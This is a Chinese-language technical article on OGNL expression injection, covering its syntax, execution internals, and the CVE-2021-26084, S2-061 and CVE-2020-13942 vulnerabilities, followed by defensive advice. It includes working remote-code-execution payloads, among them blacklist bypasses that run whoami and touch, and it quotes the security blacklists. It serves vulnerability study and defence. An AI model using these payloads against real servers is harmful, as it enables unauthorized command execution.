一文读懂OGNL漏洞
字数 1944 2025-08-03 10:57:24

OGNL漏洞深入分析与利用指南

0x00 OGNL基础概念

什么是OGNL

OGNL(Object-Graph Navigation Language)是一种对象图导航语言,用于存取Java对象的任意属性、调用Java对象的方法以及实现类型转换等。

对象图示例

class SchoolMaster { String name = "wanghua"; }
class School { String name = "tsinghua"; SchoolMaster schoolMaster; }
class Student { String name = "xiaoming"; School school; }

通过对象图可以获取到对象的属性甚至对象的方法:

  • student.name → "xiaoming"
  • student.school.name → "tsinghua"
  • student.school.schoolMaster.name → "wanghua"

OGNL三要素

  1. 表达式(expression):规定OGNL需要执行什么操作
  2. 根对象(root):OGNL的操作对象
  3. 上下文(context):以Map结构描述对象运行环境

基本使用示例

// 创建上下文环境
OgnlContext context = new OgnlContext();
context.setRoot(student1);  // 设置根对象
context.put("student2", student2);  // 设置非根对象

// 获取根对象属性
Object name1 = Ognl.getValue("name", context, context.getRoot());
Object school1 = Ognl.getValue("school.name", context, context.getRoot());

// 获取非根对象属性
Object name2 = Ognl.getValue("#student2.name", context, context.getRoot());

0x01 OGNL表达式语法

特殊符号用法

  1. .:获取对象属性或方法

    • student.name
    • student.school.name
    • student.takingClasses("英语")
  2. @:访问静态对象/方法/变量

    • @java.lang.System@getProperty("user.dir")
    • @java.lang.Math@abs(-111)
  3. #:访问非根对象

    • #student.name
    • #student.takingClasses("英语")
  4. %:标志属性为字符串时计算OGNL表达式

  5. $:在配置文件中引用OGNL表达式

集合表达式

  1. 创建实例

    • new java.lang.String("testnew")
  2. 列表

    • {1,3,5}[1] → 3
  3. 数组

    • new int[]{1,3,5}[0] → 1
  4. Map

    • #{"name":"xiaoming","school":"tsinghua"}["school"] → "tsinghua"

0x02 OGNL命令执行分析

基本命令执行表达式

@java.lang.Runtime@getRuntime().exec("calc")
(new java.lang.ProcessBuilder(new java.lang.String[]{"calc"})).start()

OGNL低版本(2.7.3)执行流程

  1. 将表达式解析为语法树(AST),每个节点都是ASTChain实例
  2. 调用SimpleNode.getValue()处理
  3. 通过SimpleNode.evaluateGetValueBody()计算结果
  4. 对于静态方法调用ASTStaticMethod.getValueBody()
  5. 最终通过Method.invoke()执行方法

OGNL高版本(≥3.1.25/3.2.12)防护

OgnlRuntime.invokeMethod()中添加了黑名单检查:

if (ClassResolver.class.isAssignableFrom(methodDeclaringClass) ||
    MethodAccessor.class.isAssignableFrom(methodDeclaringClass) ||
    MemberAccess.class.isAssignableFrom(methodDeclaringClass) ||
    OgnlContext.class.isAssignableFrom(methodDeclaringClass) ||
    Runtime.class.isAssignableFrom(methodDeclaringClass) ||
    ClassLoader.class.isAssignableFrom(methodDeclaringClass) ||
    ProcessBuilder.class.isAssignableFrom(methodDeclaringClass)) {
    throw new IllegalAccessException("Method cannot be called...");
}

0x03 典型OGNL漏洞分析

1. Confluence CVE-2021-26084

漏洞点

  • Velocity模板引擎处理queryString参数时OGNL注入
  • 使用的OGNL版本(2.6.5)无方法调用黑名单

绕过原理

  • 黑名单检查containsUnsafeExpression()不检查["class"]
  • ASTConst类型的"class"不会被检查

防护黑名单

UNSAFE_NODE_TYPES = {"ognl.ASTStaticMethod", "ognl.ASTStaticField", "ognl.ASTCtor", "ognl.ASTAssign"}
UNSAFE_PROPERTY_NAMES = {"class", "classLoader"}
UNSAFE_METHOD_NAMES = {"getClass()", "getClassLoader()"}
UNSAFE_VARIABLE_NAMES = {"#_memberAccess", "#context", "#request", ...}

2. Struts2 CVE-2020-17530 (S2-061)

防护机制

  1. struts-default.xml中的黑名单:
    <constant name="struts.excludedClasses" value="java.lang.Object,java.lang.Runtime,..."/>
    <constant name="struts.excludedPackageNames" value="ognl.,java.io.,..."/>
    
  2. SecurityMemberAccess类加载黑名单
  3. OGNL运行时方法调用黑名单

绕过Payload

%{
(#instancemanager=#application["org.apache.tomcat.InstanceManager"])
.(#stack=#attr["com.opensymphony.xwork2.util.ValueStack.ValueStack"])
.(#bean=#instancemanager.newInstance("org.apache.commons.collections.BeanMap"))
.(#bean.setBean(#stack))
.(#context=#bean.get("context"))
.(#bean.setBean(#context))
.(#access=#bean.get("memberAccess"))
.(#bean.setBean(#access))
.(#emptyset=#instancemanager.newInstance("java.util.HashSet"))
.(#bean.put("excludedClasses",#emptyset))
.(#bean.put("excludedPackageNames",#emptyset))
.(#execute=#instancemanager.newInstance("freemarker.template.utility.Execute"))
.(#cmd={'whoami'}).(#execute.exec(#cmd))
}

绕过思路

  1. 通过InstanceManager实例化类
  2. 获取并操作ValueStackSecurityMemberAccess
  3. 清空excludedClassesexcludedPackageNames绕过Struts2黑名单
  4. 使用freemarker.template.utility.Execute执行命令

3. Apache Unomi CVE-2020-13942

漏洞点

  • PropertyConditionEvaluator.getPropertyValue()中OGNL表达式注入
  • 使用OGNL 3.2.14版本,需绕过方法调用黑名单

绕过Payload

(#runtimeclass = #this.getClass().forName("java.lang.Runtime"))
.(#getruntimemethod = #runtimeclass.getDeclaredMethods().{^ #this.name.equals("getRuntime")}[0])
.(#rtobj = #getruntimemethod.invoke(null,null))
.(#execmethod = #runtimeclass.getDeclaredMethods()
    .{? #this.name.equals("exec")
    && #this.getParameters()[0].getType().getName().equals("java.lang.String")
    && #this.getParameters().length < 2}[0])
.(#execmethod.invoke(#rtobj,"touch /tmp/ognl"))

绕过思路

  1. 通过ClassMethod反射绕过黑名单
  2. 使用getDeclaredMethods()和条件筛选获取方法
  3. 通过invoke()执行方法

0x04 防护建议

  1. 使用OGNL最新版本(≥3.2.18)
  2. 添加额外的黑名单防护:
    • 禁止关键类和方法调用
    • 限制表达式复杂度
  3. 避免用户输入直接作为OGNL表达式
  4. 对表达式进行严格过滤和校验

0x05 参考资源

  1. OGNL官方文档
  2. Velocity模板语法
  3. Struts2安全公告
  4. Unomi官方手册
OGNL漏洞深入分析与利用指南 0x00 OGNL基础概念 什么是OGNL OGNL(Object-Graph Navigation Language)是一种对象图导航语言,用于存取Java对象的任意属性、调用Java对象的方法以及实现类型转换等。 对象图示例 : 通过对象图可以获取到对象的属性甚至对象的方法: student.name → "xiaoming" student.school.name → "tsinghua" student.school.schoolMaster.name → "wanghua" OGNL三要素 表达式(expression) :规定OGNL需要执行什么操作 根对象(root) :OGNL的操作对象 上下文(context) :以Map结构描述对象运行环境 基本使用示例 : 0x01 OGNL表达式语法 特殊符号用法 . :获取对象属性或方法 student.name student.school.name student.takingClasses("英语") @ :访问静态对象/方法/变量 @java.lang.System@getProperty("user.dir") @java.lang.Math@abs(-111) # :访问非根对象 #student.name #student.takingClasses("英语") % :标志属性为字符串时计算OGNL表达式 $ :在配置文件中引用OGNL表达式 集合表达式 创建实例 : new java.lang.String("testnew") 列表 : {1,3,5}[1] → 3 数组 : new int[]{1,3,5}[0] → 1 Map : #{"name":"xiaoming","school":"tsinghua"}["school"] → "tsinghua" 0x02 OGNL命令执行分析 基本命令执行表达式 OGNL低版本(2.7.3)执行流程 将表达式解析为语法树(AST),每个节点都是ASTChain实例 调用 SimpleNode.getValue() 处理 通过 SimpleNode.evaluateGetValueBody() 计算结果 对于静态方法调用 ASTStaticMethod.getValueBody() 最终通过 Method.invoke() 执行方法 OGNL高版本(≥3.1.25/3.2.12)防护 在 OgnlRuntime.invokeMethod() 中添加了黑名单检查: 0x03 典型OGNL漏洞分析 1. Confluence CVE-2021-26084 漏洞点 : Velocity模板引擎处理 queryString 参数时OGNL注入 使用的OGNL版本(2.6.5)无方法调用黑名单 绕过原理 : 黑名单检查 containsUnsafeExpression() 不检查 ["class"] ASTConst 类型的 "class" 不会被检查 防护黑名单 : 2. Struts2 CVE-2020-17530 (S2-061) 防护机制 : struts-default.xml 中的黑名单: SecurityMemberAccess 类加载黑名单 OGNL运行时方法调用黑名单 绕过Payload : 绕过思路 : 通过 InstanceManager 实例化类 获取并操作 ValueStack 和 SecurityMemberAccess 清空 excludedClasses 和 excludedPackageNames 绕过Struts2黑名单 使用 freemarker.template.utility.Execute 执行命令 3. Apache Unomi CVE-2020-13942 漏洞点 : PropertyConditionEvaluator.getPropertyValue() 中OGNL表达式注入 使用OGNL 3.2.14版本,需绕过方法调用黑名单 绕过Payload : 绕过思路 : 通过 Class 和 Method 反射绕过黑名单 使用 getDeclaredMethods() 和条件筛选获取方法 通过 invoke() 执行方法 0x04 防护建议 使用OGNL最新版本(≥3.2.18) 添加额外的黑名单防护: 禁止关键类和方法调用 限制表达式复杂度 避免用户输入直接作为OGNL表达式 对表达式进行严格过滤和校验 0x05 参考资源 OGNL官方文档 Velocity模板语法 Struts2安全公告 Unomi官方手册